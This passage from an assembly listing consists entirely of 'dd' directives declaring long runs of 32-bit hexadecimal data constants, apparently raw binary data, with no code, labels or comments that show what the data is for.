		dd 70C01E2Fh, 7983609Eh, 5A8BE16Bh, 2C3248h, 0FD365BD1h
		dd 12C28704h, 6E1D6Ch, 2D223504h, 5B002B10h, 0E91EB901h
		dd 0F8C1BF0Ah, 7C4B07DEh, 0EDE10Dh, 0E0606904h,	0BAEB6A3Ah
		dd 0A2418058h, 342831AFh, 4F1F0190h, 0BDC15D2Ah, 1C0F2059h
		dd 8E3A9D13h, 4A7A0D07h, 86D702B0h, 0D3F00029h,	19A25A20h
		dd 840022BAh, 0A5AAA047h, 0A93EE1h, 0FD42C595h,	0E9FFDD92h
		dd 22306D03h, 0C07AAB05h, 9053FCC3h, 637688h, 1FC98ED5h
		dd 9FAB0722h, 6972A400h, 739A443Fh, 62B0A0E5h, 30547A3Eh
		dd 836E0A6Fh, 0EB0060FDh, 0FA6C1BE6h, 0F07EC3h,	0EF3AFB1Ch
		dd 0A64785A2h, 4C3CC403h, 0C0182AF9h, 1F194609h, 0C0309532h
		dd 0A5FCA994h, 0ED00CE0Fh, 338BE9B3h, 46492Ch, 0E47ED737h
		dd 83F26B80h, 0B730B600h, 0C81FF9C9h, 0AE2B0071h, 849499A5h
		dd 4B001410h, 70F422FAh, 77F7CCh, 0C37CF574h, 0DE65CDE3h
		dd 4CDBE900h, 9D89983Ah, 398100A4h, 0CAD43280h,	201FE2B6h
		dd 0AD00BD2Ch, 0FF4B270Bh, 7A6000Dh, 91C6CA52h,	0A53D5CEDh
		dd 28238008h, 7122056Bh, 64E2FDh, 217AA350h, 0FA32C8A9h
		dd 956CAB0Fh, 5FB3E286h, 0AD4660D7h, 839300F6h,	47A074EEh
		dd 0A90113D2h, 1E404358h, 0E4F852F1h, 3E4FE0B3h, 0D500115Ah
		dd 951604E2h, 0E7004A69h, 0CA96C659h, 109C3Dh, 273BF931h
		dd 0F4E63E07h, 0BEABCF00h, 9DF19949h, 0ECFC008Dh, 0FCA9124h
		dd 8B0E42A1h, 41A7A495h, 97279652h, 7325BECh, 6ECB0B55h
		dd 0FC4B5035h, 0D6001E83h, 767210CFh, 0B59A0Dh,	0A4349B98h
		dd 0F1466D1Fh, 0C82DD200h, 5205848Bh, 0E53B28E4h, 8F860090h
		dd 6E217028h, 453E9F46h, 149B008Eh, 0AAE4CA99h,	0F9D8075Bh
		dd 905EA68Fh, 9F0CE59Ah, 9061C004h, 5583108Bh, 0B3DE990Fh
		dd 3970FB46h, 7054B8h, 0C33057C1h, 2A8ED648h, 0A8FA9177h
		dd 9402E401h, 53C224E8h, 28E2AAE0h, 0C86074h, 6A937D92h
		dd 62209609h, 6D944A03h, 0BBF035B0h, 101A711h, 0E3FD1EDAh
		dd 0D9C081F1h, 69634C90h, 37663A00h, 1A716EDCh,	0F4EE79EEh
		dd 688B3601h, 87A5CBC3h, 0FC731260h, 57E80C1Dh,	4A11F5BFh
		dd 0B2E0DF12h, 3980C40h, 0E21C8323h, 365A041Bh,	97B60B48h
		dd 0E0D9E02Ch, 79005666h, 76137869h, 0F8E62BAh,	0DA2E9736h
		dd 0C2097700h, 0DC7DFF24h, 6937F300h, 141B6654h, 6C21008Bh
		dd 436B9B61h, 220F9951h, 0D40C37C3h, 3CB600A8h,	0E9B0FB1Fh
		dd 18BE042Dh, 8049CEE4h, 4489DCCEh, 0DA791E00h,	0FAB9FF98h
		dd 3FEA0ACAh, 0E480A7h,	0F006173Ch, 0C50F6DB2h,	404B1BB9h
		dd 2A28F35h, 826C00CDh,	6E50B4D9h, 0AC00D8C1h, 2CFAEC16h
		dd 1274A37h, 47F4D73Dh,	0ECC7338Eh, 2D00136Eh, 0E9F8052Eh
		dd 621EC0h, 0DEE6020Dh,	2194888Fh, 2DAF3100h, 116345B4h
		dd 0E54182Ah, 92AAE178h, 8198CA00h, 5DB7B99h, 0BCC8EB83h
		dd 16E20EDDh, 52A00CBAh
		dd 9E5C0BF2h, 0A51772FCh, 0E70758E6h, 78800545h, 0B077A8h
		dd 115B9213h, 3FBA0864h, 5A5AF2Ch, 0D46C6100h, 0A0EE598Ah
		dd 0E4A777D0h, 684B0081h, 0D6BC4054h, 9D0302F9h, 60DFAD5Fh
		dd 0FD97A327h, 38E2B800h, 0E6A25CEAh, 3A4D0045h, 0CE79E862h
		dd 0B6004CA7h, 0F4C259D0h, 0DA25E7h, 82AF37FDh,	0B3EEBE96h
		dd 0D2097200h, 282F3BD4h, 923E0E2Ah, 596083ABh,	3D885429h
		dd 0AA9DA203h, 0A0F402E1h, 607F79D8h, 0D4F3303Ah, 580091AEh
		dd 14EBFFF7h, 291A1Bh, 0CBA42282h, 91AF1E10h, 0BD34E600h
		dd 1A7397CEh, 47AC0075h, 0D14CABF2h, 0E8038205h, 0FF78C622h
		dd 7686C14Bh, 250FFCh, 4D1D1814h, 17E1CB15h, 69BBCD00h
		dd 2377C55h, 0EEF1A076h, 8D9C1C14h, 7AF4800Ch, 0FDDBC18Eh
		dd 485A8803h, 7C779ADh,	0ED39CFB0h, 106BF7FCh, 0DADE0DAAh
		dd 5E7B6E00h, 4290EBEEh, 0DF253914h, 7C101B00h,	0E38A0B1Ch
		dd 6E00DBE4h, 0D867F35Bh, 0E0A1CBh, 0CEE8599h, 33B46DBAh
		dd 5C009578h, 2B1BE918h, 0D9DED1h, 0E09D748Dh, 0A66E9B30h
		dd 1FB62000h, 3ED88C2Ah, 0B18597F7h, 2ED0007Fh,	0FC674876h
		dd 80946539h, 9EA055F9h, 7E6F61Fh, 6FE80746h, 99A6D089h
		dd 0EB0016B1h, 6E9C256Ch, 0DDFECDh, 1BC22CCh, 3341AD2Ch
		dd 802FD81Ch, 0A8FF5980h, 90DEC4C6h, 90AB0E55h,	2AA0D276h
		dd 650BE910h, 0A10E17F6h, 7E803128h, 8780149Eh,	295A7F67h
		dd 0A33D00A5h, 3A3E0C35h, 0AC074495h, 2B6CB4AAh, 749BF880h
		dd 692F0014h, 5A5D770h,	0E4C0FDCh, 15FC001Fh, 0CE35D41Ch
		dd 4A100E8h, 0AB2FE9F1h, 57001F51h, 0C2059760h,	0ADCF39h
		dd 4E599927h, 54A289D0h, 25F07500h, 66CC2BEEh, 3FCE0319h
		dd 5383B856h, 0C5901BFBh, 0AB00D1A7h, 900EFB0Fh, 99BBC9h
		dd 0CBA275A3h, 14294BC2h, 803E163Dh, 607FDFCh, 28FBDF77h
		dd 0BCA0A2h, 0DC83DB53h, 5A4C448h, 0B9D5EA17h, 0FF0D8E00h
		dd 1E28F5D0h, 401C56BBh, 0BFDCEF76h, 8600A3C2h,	3FAE8CA2h
		dd 242138h, 943D5A60h, 90E5E207h, 0FFEAC200h, 9A86FCF6h
		dd 127500EFh, 582DCC2Fh, 9307C9E4h, 29F8180Fh, 25A928A0h
		dd 40CE3B21h, 9A27BD80h, 7F98C6C4h, 0B1C98100h,	939BF23Ch
		dd 0D6350015h, 0D3F1DB32h, 8200ABCAh, 6B8C7C45h, 0E43B5F14h
		dd 983000F5h, 0D361100Fh, 8200CAD2h, 556F06C8h,	3DE3F618h
		dd 71807226h, 8BF72290h, 0C700759Dh, 3DC546Fh, 0F39765h
		dd 90395B0Ah, 5159B434h, 370C6200h, 8DAD89BFh, 4130BBDh
		dd 0AD004E88h, 0A9569222h, 20CFC207h, 98C01EE1h, 5512A4h
		dd 0CC33BE94h, 0D53DDA75h, 0D0215160h, 11A11F8h, 14694941h
		dd 0E41647F3h, 8C9218C4h, 14CCEF26h, 0CF283B00h, 42B3Ah
		dd 744BD637h, 0BF8A9B75h, 3900B078h, 71D07F76h,	48062338h
		dd 1036C5Fh, 41274466h,	12920FC0h, 24BB6800h, 9C199D55h
		dd 0D4AC30E7h, 9F099468h, 533201F0h, 2D110B6h, 0BE2F5C48h
		dd 0B36F0E00h, 721D9Eh,	216170ADh, 9C7FAF8Ch, 0F8BB3200h
		dd 2A26BA60h, 0BE5400CEh, 8E2D9ED8h, 1A76093Fh,	56D22900h
		dd 71948D52h, 53F83A9Fh, 217E0F7Fh, 0B06D5CDh, 54F090D1h
		dd 0AB23BA1Eh, 0AE76B343h, 93202171h, 23EFC200h, 6F7A4CCAh
		dd 6080408Ah, 78A3C02Ah, 0D8DF8400h, 0A6D354D4h, 8D42000Eh
		dd 0ACBC3B5Bh, 65E06E68h, 1776370Eh, 265981A0h,	0BFFC5660h
		dd 1F752643h, 1C4101B4h, 0DC166966h, 7900F32Ch,	215567E1h
		dd 0FDA578h, 81F18A20h,	14E219BEh, 0E9E1A001h, 0F6E3DCD6h
		dd 8219C50h, 4442A4Eh, 45CF1E8h, 10C430AEh, 6E1AE710h
		dd 0F5763000h, 0FB31D4A1h, 24C73AB5h, 43AEE000h, 0E130CE69h
		dd 29621D31h, 0AB11DA0Dh, 6AEF1119h, 1276D511h,	1E8D1079h
		dd 28441B89h, 222968C6h, 7322D965h, 68872023h, 22B2FE00h
		dd 24ACD1E3h, 0CC30095h, 0A3CFF928h, 0CA009A2Fh, 3CF03D17h
		dd 0EA4BC95Fh, 0A0370F09h, 5B200148h, 0BD1AE81Fh, 0C2E9500Eh
		dd 0A88287E1h, 0B5512CB0h, 0B1C7004Eh, 0A1A6B0DFh, 213867A2h
		dd 7A2581E2h, 0F6170895h, 1CEE2860h, 40AD49FBh,	0D5B8F3F7h
		dd 0D2002D5Fh, 19A695E0h, 3E6796h, 0D01DE801h, 4C9A94D8h
		dd 0D5630D05h, 0B3000458h, 2D9C7692h, 6BD70138h, 6F2814B5h
		dd 30A1DD41h, 1D003FD8h, 869BB975h, 985055FEh, 0DCA9543Bh
		dd 5A300038h, 0FCBF84A4h, 0E5007B88h, 5827856Dh, 5087Ch
		dd 0B983D349h, 47E73717h, 0EEDB8900h, 934453CCh, 0FBA5005Dh
		dd 8874E115h, 9A00D37Ch, 0E5F801C0h, 3D2A0B30h,	6C81D29Fh
		dd 0E806351Eh, 0FE1A6077h, 1CC4DE1Fh, 570AC700h, 5C475343h
		dd 9C00342Fh, 6FF988ADh, 0B4004D69h, 9677BD17h,	803BFh
		dd 0B646584h, 0A32EC8DBh, 5D0F4E08h, 1A7C0041h,	7BF5AB61h
		dd 80CD2239h, 94FE8112h, 0EA78A43h, 5F5D7CEAh, 2C532F80h
		dd 0E400B29Ah, 0B931F906h, 1F8412A0h, 7CC045Ah,	31D1F6EAh
		dd 0C26BADD3h, 0DD90AB40h, 9DECB900h, 3198C77Ch, 0B7E6E3h
		dd 478FBC6Eh, 783DE575h, 5501E1E0h, 63A8C0B4h, 0D5DCB956h
		dd 0A6B503DDh, 0B8E6C8DFh, 491EA790h, 8B293D00h, 4A01979Fh
		dd 2DF93B25h, 80A45F9Eh, 8AB9CF70h, 0AF03FD5Ch,	0E0C4DA83h
		dd 7497E0E3h, 0B16428B5h, 9F041DA8h, 73F80F3h, 613C2A6Fh
		dd 2D729500h, 90DA6E10h, 0B0301C17h, 0F3D700D5h, 11571ECDh
		dd 0D197C600h, 0ED23F0FEh, 7FF0015h, 14BC1931h,	39014541h
		dd 0B976913Ah, 32FCEBF6h, 13961F7Dh, 9318B06Ch,	0B9EC7C02h
		dd 7486E80Eh, 2033AEE2h, 6BC246A9h, 8978001Ch, 3ECAE7D0h
		dd 1E3AA03Ch, 94E80115h, 83E21FFBh, 871DE4h, 0ACBE5BE5h
		dd 0EDF580C3h, 437CBA00h, 4EEF4760h, 0D27519h, 301D2957h
		dd 34E7CFF6h, 0A45EF100h, 0A0DD5836h, 89E10076h, 0E83E59Fh
		dd 1C2665E0h, 0DA004C80h, 91CB90E3h, 0CD3A1E82h, 5B9C0EBh
		dd 0D233858Fh, 0B800FAE0h, 0C30ED508h, 267140C0h, 27ACCEh
		dd 0F431FDC7h, 2778DECFh, 0AAE2CC0Fh, 768CA098h, 95704h
		dd 6D9EDBD9h, 0E7C5ECF0h, 0F3EA3Ch, 76D682BCh, 0B30775h
		dd 8F0F5526h, 0A25AF44Eh, 0DADE0200h, 346A85EEh, 0F9CEC82h
		dd 9DE1535Eh, 3EE8009Ch, 0C7186671h, 2C014707h,	70402EA4h
		dd 5F93FEh, 56EED41h, 82B6D1Ch,	86C85C50h, 0A1625300h
		dd 457E43BDh, 8478489Dh, 46047400h, 0CBA573E9h,	7C7AA10Fh
		dd 0FA94014Fh, 0CFCDC6Dh, 24130026h, 18608E67h,	533EE12Ah
		dd 50544CD3h, 23004FF6h, 8A0370FCh, 6C05995h, 6C8BC8C7h
		dd 0F800304Bh, 0FDC3827Ch, 3C7D03F2h, 9A00D410h, 768E81EBh
		dd 0F600E098h, 0D0743928h, 0CC69D1h, 38B9C6AEh,	0A264E736h
		dd 40EF1270h, 748E61ECh, 5FD9183h, 0A30E5C80h, 8BF6F98Ah
		dd 0C00093E8h, 5FE32A1Fh, 2CFA765Ah, 18D7D5h, 895507D0h
		dd 950E1C5Dh, 29AB7E57h, 2CAC8088h, 0E4F8976Ah,	0D7DA3CE1h
		dd 2A442780h, 0B9EA91ACh, 81C2A600h, 0EF9DDEF5h, 1EA3E6B7h
		dd 0C384E4F4h, 907007FDh, 80A63EE0h, 9500EEE8h,	6741350Ch
		dd 0BCF308h, 0BF2C45E4h, 6734687h, 24002074h, 0D98C3AB4h
		dd 534E16h, 0BFF3AF6Fh,	4D844372h, 0B7A78607h, 0A9EF083Ch
		dd 44CC801Fh, 171B234h,	4146023h, 0C44FDDFDh, 9F005F19h
		dd 4CDCFC0Bh, 1FC3CDC2h, 40205659h, 0F1185027h,	4F0CA52Fh
		dd 18ADCAF8h, 60910B12h, 5007B587h, 151DF221h, 92AB440h
		dd 27EC8200h, 0C58FF2A2h
		dd 28B4EADBh, 24DB154Bh, 8054591Dh, 6A8875E4h, 7B0022A8h
		dd 0AE970BE6h, 3863BF7h, 100241BCh, 0D4079D1Eh,	0DE959434h
		dd 80C8692Fh, 0FCEF6DBh, 0C5C60782h, 0FB43E3FDh, 0EBCF5C00h
		dd 0FA000740h, 0AE468BACh, 44D922h, 0E375985Ch,	0FFDB1B94h
		dd 14AA0504h, 0DF8399F9h, 0D5D088D3h, 42AF2C44h, 3E600068h
		dd 6E2BB67Eh, 2CE9D701h, 8E1DCFD2h, 0F40030h, 0AEE63F45h
		dd 0F2C1A0D8h, 0CDCC1000h, 97404A48h, 0B89009h,	0ADD955BDh
		dd 0EC6815BFh, 278E740Eh, 2484D571h, 803A983Eh,	559CE66Ch
		dd 1F0CFECAh, 0E4912EDBh, 0D7F609ACh, 0BF212B83h, 97EDCE98h
		dd 17E31101h, 3BDDE71Ch, 2E01C820h, 93F4347Ch, 70100084h
		dd 62745DDFh, 123951Ch,	9DAB5B40h, 80D112h, 919759CBh
		dd 5F355AF0h, 87A8B400h, 0B0BFD676h, 0FDE6C6h, 4AD9ACC8h
		dd 0AE599D0Ch, 84E5043Eh, 52CF924Dh, 436DAD80h,	0A5610017h
		dd 8D4B25BFh, 0E3189560h, 24D8E945h, 0F23100E4h, 0BEC91FB4h
		dd 0C4141819h, 1CB03028h, 4CE4219Bh, 70E78201h,	76E864DAh
		dd 42D0056h, 0F9BC4579h, 58B03AF0h, 78896700h, 53EF8C3h
		dd 1EDB8C6h, 0DCC4EA93h, 0E02DBF0Fh, 0CA71DF2Fh, 0D300707Dh
		dd 0E1493EE0h, 0E2A4883Bh, 736F72CFh, 57E50BAEh, 0C80CD78h
		dd 0BEA0F20Fh, 0BD3B8E7Fh, 94D803Bh, 0DD98C57Fh, 0A429016Bh
		dd 0B6A4450h, 0CF0EF135h, 36B8AE93h, 0D900D2CEh, 0DB11039Dh
		dd 1F69CE1h, 2537BD4h, 70ADB739h, 8F00F9B8h, 0A2D50FFh
		dd 20EEA64h, 0C4A54087h, 0B2E07103h, 0DA009A7Bh, 0EB11BE6Ah
		dd 5C3CEh, 709139FAh, 25090C1Eh, 420B4100h, 923BEF17h
		dd 6888000Eh, 33B52940h, 0D502A367h, 77172BECh,	7FC3DFB0h
		dd 18C0B28Ah, 0FF2E6E9Fh, 8A0F3DF1h, 0C9AB6784h, 90CE7F73h
		dd 3AF03813h, 0A880A371h, 0B314B4C6h, 1D2EBDFEh, 6F4054ECh
		dd 1F3ABFDDh, 8A94E580h, 70D0724Ch, 0FB0008E4h,	0AB9E5147h
		dd 1763193h, 0FF23D5A7h, 0F04C1986h, 6900417Bh,	0D4DA3E54h
		dd 2E418BAh, 0F7D9AE7Dh, 94E063ABh, 0F3A0B32Eh,	8C00C1BFh
		dd 0A0CAC065h, 7E4679h,	0D6DC2811h, 0DAC5E070h,	80719407h
		dd 41BFE996h, 0C66FB218h, 3BC30h, 5F05A2BEh, 9856D31h
		dd 0D0EF4F00h, 0AB65273h, 3A8002Ch, 0FF10A7F7h,	0DE48D7C2h
		dd 4BD80180h, 74626D45h, 9EFBF081h, 61EC54DBh, 9BAAD4D0h
		dd 0CE38B100h, 12EF198Ah, 0D05E01A2h, 3EE1A9B7h, 23DAD4BFh
		dd 0E77DBC00h, 0FE79CFDEh, 0F741C040h, 52D92409h, 37101C60h
		dd 0E4CE02h, 14EAB895h,	71E7450Bh, 6BC41500h, 2067886Ah
		dd 9C5548CBh, 3D7D7A00h, 8CEF3716h, 6406EB0Fh, 0B490F2DCh
		dd 130CE9D6h, 0A60136h,	0E2C98420h, 0BB399D24h,	8BD0DC21h
		dd 0A1A8094h, 0B2DCFAh,	666AA0CCh, 0B3E6768Dh, 2EA50B09h
		dd 0D5E8409Ah, 5576B1h,	68C87DF7h, 103A1CD4h, 529EDF0Eh
		dd 0AB6E60CFh, 4AF769h,	7A0E6A6Fh, 43B5D2F0h, 2A0AC200h
		dd 427EAEDAh, 1A0B008Dh, 3A7136D9h, 0F309C9C8h,	81C65C1Dh
		dd 58BD1B02h, 0F052AE0h, 2036D86h, 31F12DC0h, 1800A954h
		dd 5A946E55h, 1689CE3Eh, 40E41FA2h, 4AF18404h, 6B004D90h
		dd 70886714h, 1C405D2h,	0E1E2BBDDh, 0CC4C39E0h,	0A200A664h
		dd 0E37680D3h, 5816BE25h, 0CE0177F0h, 0D5B4CDCBh, 855FC467h
		dd 0AAA3D400h, 6B972469h, 3C9E88h, 0EF2EACD0h, 0F096C0C5h
		dd 0F8C0B812h, 0FE3317h, 0EC29A3C6h, 38358281h,	3B3C8D00h
		dd 2B0EFC5Ch, 7C790089h, 154449CEh, 8412962Eh, 4802AB65h
		dd 5869A1E5h, 0C1200430h, 803B3D99h, 0A466A8B0h, 0C2F11D05h
		dd 0A8D253C5h, 52BE80AAh, 3E0A1042h, 1A0722ABh,	0E0A539E9h
		dd 0C92A4F1Eh, 0EA1DA70Eh, 0C67AE0E0h, 6194542h, 50416D92h
		dd 0C8B0C820h, 1AB86603h, 80343632h, 1FC7BE7Eh,	0C0BB2AF4h
		dd 61812FAAh, 803A3256h, 6A7300D0h, 0EF2D0F3Ah,	5FED07A3h
		dd 0E07E2AA8h, 18B8C9D6h, 7545431Ch, 8C5227C0h,	1F1AB1h
		dd 53B8267h, 0E3FB90D5h, 40BE4A13h, 64F52448h, 0E8ABC016h
		dd 8F4F70E2h, 23A0040Fh, 0C1BBCC1Bh, 89E41337h,	0F8DE001Dh
		dd 610446F6h, 0C00EA4Fh, 0AC19507Dh, 24D620Dh, 559B873Bh
		dd 9642ED74h, 46EF3CC0h, 3710C800h, 53197F6Bh, 0E056009Eh
		dd 727B7E54h, 253B11C1h, 843F00FEh, 0C3DBB0EEh,	51EA076Ah
		dd 870B6376h, 0CFF5FAh,	75A2709Ch, 0D600B7B4h, 0BAD7F827h
		dd 3F4496C3h, 22008EB3h, 33737DE2h, 6B1DFD89h, 0A000C812h
		dd 458855F4h, 8E0E3E0Dh, 38367A00h, 23DE0702h, 0B3109E02h
		dd 8077ED44h, 0A0DB588Ch, 55503EF2h, 6BAF3180h,	0CE2BBE82h
		dd 0A7F9950Fh, 4396E047h, 0E4AA983Fh, 1A1200B7h, 0B434F558h
		dd 7000C6Bh, 41F34B93h,	0E3343D1h, 0CD891083h, 0AED052C1h
		dd 54B6E036h, 2DB9C600h, 84C57595h, 0ECA103C4h,	0B8B2C24Dh
		dd 209E0191h, 1A07649Ah, 0B486B5Dh, 0DD238590h,	0F31001B9h
		dd 7625FCF8h, 0FF9040FBh, 0EE3045F7h, 0D3652020h, 0B235248Fh
		dd 0ADAC0060h, 6246E1Fh, 37E02000h, 6FE266B4h, 54860930h
		dd 2080F1B6h, 2D83C935h, 0C7FD4000h, 4CA81A63h,	0BCDD0071h
		dd 7222BB03h, 38050CF2h, 0CA7830B8h, 64CFBC00h,	482F3184h
		dd 7D00DC5Eh, 3763B6ABh, 0D90BB5BFh, 201B4073h,	0A2DFA660h
		dd 3C920008h, 1296EB47h, 0A53926A9h, 4FC000FBh,	646EA642h
		dd 741D0F20h, 26CFB33Bh, 5CCE8143h, 61FA83C1h, 540FD00Eh
		dd 560387E4h, 38616796h, 22413CDAh, 6424DF00h, 0EE5BE66Eh
		dd 2B939F05h, 0C98044A3h, 0B75D37Ah, 91455CAEh,	0A4EC9680h
		dd 0E0008688h, 10092CA5h, 0C087A6D0h, 0A05D3E11h, 721C20C3h
		dd 98C7EAA3h, 99904F2Dh, 6FA4C8h, 0D5889446h, 80AFD92Ch
		dd 682B5903h, 0A031D783h, 1565C37h, 2EE875ACh, 0DC5F2471h
		dd 21909D4Dh, 69C1500h,	0A380FACFh, 0F4F67FA9h,	25FCBFh
		dd 834A7B49h, 8B173844h, 0EE9EB900h, 0EFA211CDh, 0ACFB4BB4h
		dd 1E53836h, 30C8BEECh,	0D0EC2868h, 0EFCD00A5h,	3F34932Ch
		dd 43009F0Dh, 0E432F2B9h, 1F6C2592h, 4733D4h, 0BB1ED95h
		dd 76004826h, 0B4ADA07Fh, 75162Ch, 577E4CC8h, 1965FCB9h
		dd 50E09460h, 0DD4E45h,	480D8216h, 6790BAE8h, 13423900h
		dd 3C8C10B6h, 32EA00FAh, 9AC7508Dh, 96004873h, 44DDF91h
		dd 4FDC85h, 0C154FA1Ah,	0CC27BA02h, 10790F00h, 433C396Eh
		dd 551C078Fh, 0D7A266ECh, 6B00E906h, 0DD498D14h, 0E7401E13h
		dd 2CE00B00h, 3E911F17h, 75D8E4h, 38312497h, 150B6172h
		dd 0C06BD01h, 136DD553h, 25F44880h, 22AF1AFh, 0BE2E3E70h
		dd 0C0302A70h, 29234E99h, 64DB5Ch, 1D365681h, 681FBB6Ah
		dd 0E34EA963h, 0DE8900D7h, 642C4Eh, 0BC6B29EAh,	79BE9AF2h
		dd 1BF6A3Eh, 0A9387F3h,	9B20DAD8h, 6B4A0086h, 3A4F9CECh
		dd 0EE90B449h, 0E5A37100h, 1861BE74h, 514A3B93h, 0B1379D00h
		dd 2D2A1780h, 815CBDB8h, 0D89B0015h, 8D45B82Eh,	96D2001Eh
		dd 3EE34DD1h, 0C9001432h, 59841C7Eh, 509EA0B6h,	21E897h
		dd 0DDA37408h, 0B2315A8h, 0DC8F110Fh, 0B4840017h, 31333A2h
		dd 0F1865DAEh, 308FF030h, 2E855087h, 0D000317Ch, 389C9D67h
		dd 78CC87Ch, 880AE75Eh,	0D11150DEh, 0AA00B473h,	0D97CE595h
		dd 304584h, 0C868EBEAh,	5DB0A250h, 8B0091E6h, 0ECD58096h
		dd 998DE53h, 3FA3763Eh,	10150800h, 8D00481Fh, 376BB82Ch
		dd 7C423A7Dh, 80409B4h
		dd 340E2A03h, 3606A941h, 0B3E8400Eh, 0BB302032h, 0F3F61182h
		dd 4F90E4h, 0D8ED27C5h,	43131684h, 0FA0B3Bh, 92AC692Bh
		dd 0E7B73Dh, 0B362A70Dh, 6FD5339Eh, 23FAD41Ch, 4A0F75DEh
		dd 21E1017Dh, 5BCC98C9h, 485E0058h, 0D0BAE445h,	0B0006F11h
		dd 248210A1h, 0CFC140h,	8FD552E1h, 4803C3B5h, 0ADC1454h
		dd 8E2F8C00h, 9CA3972Ch, 0F1D100FAh, 7EA25247h,	57E8DBA1h
		dd 8B0A6F03h, 0E27D8C73h, 0F680A32Bh, 4C809DD3h, 1FF71EDh
		dd 0EF3BAA78h, 480E12F1h, 6803A384h, 370F9CF0h,	85A0A71Dh
		dd 42B629h, 2B8E4F80h, 700A5244h, 0C01D2C00h, 0B4462AD8h
		dd 20A93D59h, 7EA36100h, 0D6F7C7F6h, 81173600h,	94A72C4h
		dd 0E0B9FC92h, 8BAB3032h, 31ED877Ch, 4E5B9100h,	0CC0460FDh
		dd 1B200099h, 0A16FD8AEh, 98C0C19Ch, 718C1790h,	0DDFACEADh
		dd 64BC2240h, 0F500DB10h, 0F3EAAA99h, 12B61EE8h, 2A8E29h
		dd 651C9D9Ch, 0D008A58h, 0EB1B545h, 0B61815h, 0B3FA45Bh
		dd 331970C3h, 2BD8F850h, 0B8988C09h, 0F12B8074h, 13234EEh
		dd 45FBDF1Ah, 4019F8BCh, 0EC9CD4C4h, 4A095A7Fh,	20663A89h
		dd 0E40551A0h, 98BF48CBh, 6294CD0Eh, 0AF0B3B3Fh, 87874BCAh
		dd 853760E0h, 0C5F03FA6h, 163DE701h, 46BE7960h,	1E1FBDCCh
		dd 40FB884Eh, 89C47711h, 33A8E1Eh, 43F400B9h, 54D4CB7Ch
		dd 193C0921h, 60800B9Bh, 78272981h, 70008490h, 1289F0AFh
		dd 0C846B83h, 0B65C93F5h, 0B07FC99h, 10A616A2h,	0E87A3E93h
		dd 143C181h, 0E25D853Bh, 0F0D96E5Ch, 4E09DFCAh,	7B070D3h
		dd 8251D19Dh, 0E4A41594h, 0EC10E8Eh, 4D833DA0h,	371665A3h
		dd 0A40EB923h, 17D0038Fh, 5FDB8050h, 0D6E4A0C0h, 0DE580790h
		dd 100145CBh, 9E3C487h,	0B11F5AB8h, 4B472F32h, 0D73074DBh
		dd 0B83882C7h, 98C000Dh, 0FA195047h, 673BA83Eh,	0BF0A8773h
		dd 0C3108F22h, 0D5484Bh, 42C5B241h, 0B62F4A3h, 0D717C00h
		dd 677B6474h, 0C07F0398h, 0ECC5C16h, 0B5E8F3h, 7E6EB5E8h
		dd 0A201146Ch, 62A63A02h, 90D86DC4h, 1B370009h,	4728C761h
		dd 0B8984F85h, 0D024D207h, 7180BA03h, 2CDE1Ch, 0F4A8736Ah
		dd 0E6C57D7Bh, 4CD5781Eh, 77381980h, 35A30BEh, 0EBF0C28Fh
		dd 0F6F0DE5Eh, 0B0036742h, 8D4D7BEDh, 23C19037h, 898A1456h
		dd 0E00A404h, 14DA1A4Bh, 6601A375h, 0C809157Ch,	0E8508A9Dh
		dd 17A538Dh, 0C2166CEDh, 2478D7B5h, 15003E48h, 0BD72954Ah
		dd 12C6C1E5h, 0E09330Dh, 0A40534Ch, 0AE70B571h,	0D0F69B28h
		dd 0CBF88B0Fh, 6DD84059h, 0DAAD61h, 21A9A60Bh, 0A7607667h
		dd 327A6A00h, 4D16CF8h,	0B7E08Bh, 0FF41C4AFh, 94A36BCFh
		dd 0BBDB8A05h, 0A4C0EF2Bh, 42E363h, 2EB01644h, 9F789AD3h
		dd 7A582A48h, 395DDC00h, 0A86A13BDh, 70660044h,	315A8A2Fh
		dd 0D205BA3Eh, 1021F198h, 12678C90h, 53C6006Ah,	0CA195785h
		dd 550020D9h, 6F99D15Fh, 3EC502h, 0E935A1D4h, 0EB5E34C2h
		dd 80BDD739h, 8F83D2EFh, 6EA6B7h, 25B938D5h, 70B17208h
		dd 989AC000h, 0F284F4DDh, 888E0113h, 0B412273Bh, 0EED2C943h
		dd 0AB3BE0D7h, 0BB040053h, 74B9117Bh, 0E348D92Fh, 1C6300C4h
		dd 3F669B13h, 8E4C009Fh, 505580E7h, 0B44C2E5Ah,	54CF0004h
		dd 1BED8BD5h, 98377DF9h, 0D7D213B1h, 6D0C0088h,	129D06A5h
		dd 43C76900h, 1CACC8FFh, 0C6B60002h, 0ED20F20Fh, 38074285h
		dd 6CE4F62h, 5F7A2110h,	0BC764D3Dh, 9C6E0E00h, 0AD0A421Fh
		dd 6D237CC1h, 38807418h, 4F1BB9Dh, 0E0B87517h, 18C5B59h
		dd 0CA13C3E6h, 0D0708943h, 0F14A00C7h, 1E260581h, 0C60040BBh
		dd 5202CFB2h, 1FED04D6h, 0C04CF8A8h, 9CC9D364h,	5D0F963Bh
		dd 0EFC207AEh, 0E671C0ADh, 1285684h, 0B055261Eh, 0D88E6DEAh
		dd 68000AD2h, 5D5B2C82h, 166D4C4h, 0A4D84D65h, 0F82E80E6h
		dd 6B00AF7Ah, 0AB8BEC98h, 0FC4A5A61h, 0E06503A6h, 216CDC5Ch
		dd 0BDFCEA13h, 0C62C7D07h, 617FB250h, 82A500BEh, 55B42392h
		dd 0ED00E063h, 0F6881BBBh, 0B10676h, 9E673849h,	0EF139B45h
		dd 59787300h, 959642B7h, 0B51100EDh, 9CA5BF64h,	1628D2FFh
		dd 8600FFABh, 2FA1F81Eh, 0AFCB09h, 683FAE89h, 0C8A7E83Ch
		dd 0A07481Dh, 0C14B1B40h, 9F386Ch, 0CFDE31FDh, 5F861AB8h
		dd 9D92002h, 60B77C9Dh,	0DDF2C3h, 6EC64B84h, 0A1A89FFEh
		dd 133CA67Eh, 65998360h, 0E84B7CDEh, 9CC7C6h, 0EE02DC2Bh
		dd 3CC1A2A4h, 0D5CDD603h, 0A88B6B96h, 0C7D822h,	946C99A9h
		dd 0DDB1FD4h, 3E002878h, 72B0A011h, 6616F40h, 83A38237h
		dd 6000108Ch, 4A510CC8h, 0D2A5B1h, 0A208E51Ch, 40368886h
		dd 0F8C29A00h, 0BD6E5675h, 0C0CA027Eh, 4B65A803h, 0C17DB440h
		dd 870B821Eh, 901804D8h, 5F1400C2h, 9FADDA28h, 1B008C5Ah
		dd 8855BBBFh, 6049BAh, 0A869764Dh, 8A501D48h, 0E2B98C03h
		dd 93B43Eh, 6EE441C8h, 4C3AFEA0h, 772CA115h, 0E56000D4h
